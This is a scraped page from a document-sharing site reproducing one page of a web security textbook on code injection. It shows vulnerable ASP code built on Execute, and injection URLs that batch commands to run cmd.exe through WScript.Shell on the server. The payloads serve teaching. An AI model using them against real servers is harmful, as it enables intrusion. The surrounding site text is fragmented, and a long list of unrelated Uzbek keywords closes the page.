The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws


N OT E The Perl language also contains an



Download 5,76 Mb.
Pdf ko'rish
bet540/875
Sana01.01.2022
Hajmi5,76 Mb.
#293004
1   ...   536   537   538   539   540   541   542   543   ...   875
Bog'liq
3794 1008 4334

N OT E

The Perl language also contains an 

eval


function that can be exploited

in the same way. Note that the semicolon character may need to be URL-encoded

(as 

%3b


) as some CGI script parsers interpret this as a parameter delimiter.

Dynamic Execution in ASP

The ASP function 

Execute

works in the same way as the PHP 

eval

function


and can be used to dynamically execute code that is passed to the function at

runtime. 



308

Chapter 9 



Injecting Code

70779c09.qxd:WileyRed  9/14/07  3:13 PM  Page 308



The functionality described for the PHP application above could be imple-

mented in ASP as follows:

dim storedsearch

storedsearch = Request(“storedsearch”)

Execute(storedsearch)

In this situation, an attacker can submit crafted input which results in injec-

tion of arbitrary ASP commands. In ASP, commands are normally delimited

using newline characters, but multiple commands can be batched when

passed to the 

Execute


function using the colon character. For example,

response.write

can be used to print arbitrary data into the server’s response:

https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:

response.write%20111111111

The 


Wscript.Shell

object can be used to access the operating system com-

mand shell. For example, the following ASP will perform a directory listing

and store the results in a file within the web root:

Dim oScript

Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)

Call oScript.Run (“cmd.exe /c dir > c:\inetpub\wwwroot\dir.txt”,0,True)

This code can be passed to the vulnerable call to 

Execute

by batching all of

the commands as follows:

https://wahh-app.com/search.asp?storedsearch=mysearch%3dwahh:+

Dim +oScript:+Set+oScript+=+Server.CreateObject(“WSCRIPT.SHELL”):+

Call+oScript.Run+(“cmd.exe+/c+dir+>+c:\inetpub\wwwroot\dir.txt”,0,True)




Download 5,76 Mb.

Do'stlaringiz bilan baham:
1   ...   536   537   538   539   540   541   542   543   ...   875




Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©hozir.org 2024
ma'muriyatiga murojaat qiling

kiriting | ro'yxatdan o'tish
    Bosh sahifa
юртда тантана
Боғда битган
Бугун юртда
Эшитганлар жилманглар
Эшитмадим деманглар
битган бодомлар
Yangiariq tumani
qitish marakazi
Raqamli texnologiyalar
ilishida muhokamadan
tasdiqqa tavsiya
tavsiya etilgan
iqtisodiyot kafedrasi
steiermarkischen landesregierung
asarlaringizni yuboring
o'zingizning asarlaringizni
Iltimos faqat
faqat o'zingizning
steierm rkischen
landesregierung fachabteilung
rkischen landesregierung
hamshira loyihasi
loyihasi mavsum
faolyatining oqibatlari
asosiy adabiyotlar
fakulteti ahborot
ahborot havfsizligi
havfsizligi kafedrasi
fanidan bo’yicha
fakulteti iqtisodiyot
boshqaruv fakulteti
chiqarishda boshqaruv
ishlab chiqarishda
iqtisodiyot fakultet
multiservis tarmoqlari
fanidan asosiy
Uzbek fanidan
mavzulari potok
asosidagi multiservis
'aliyyil a'ziym
billahil 'aliyyil
illaa billahil
quvvata illaa
falah' deganida
Kompyuter savodxonligi
bo’yicha mustaqil
'alal falah'
Hayya 'alal
'alas soloh
Hayya 'alas
mavsum boyicha


yuklab olish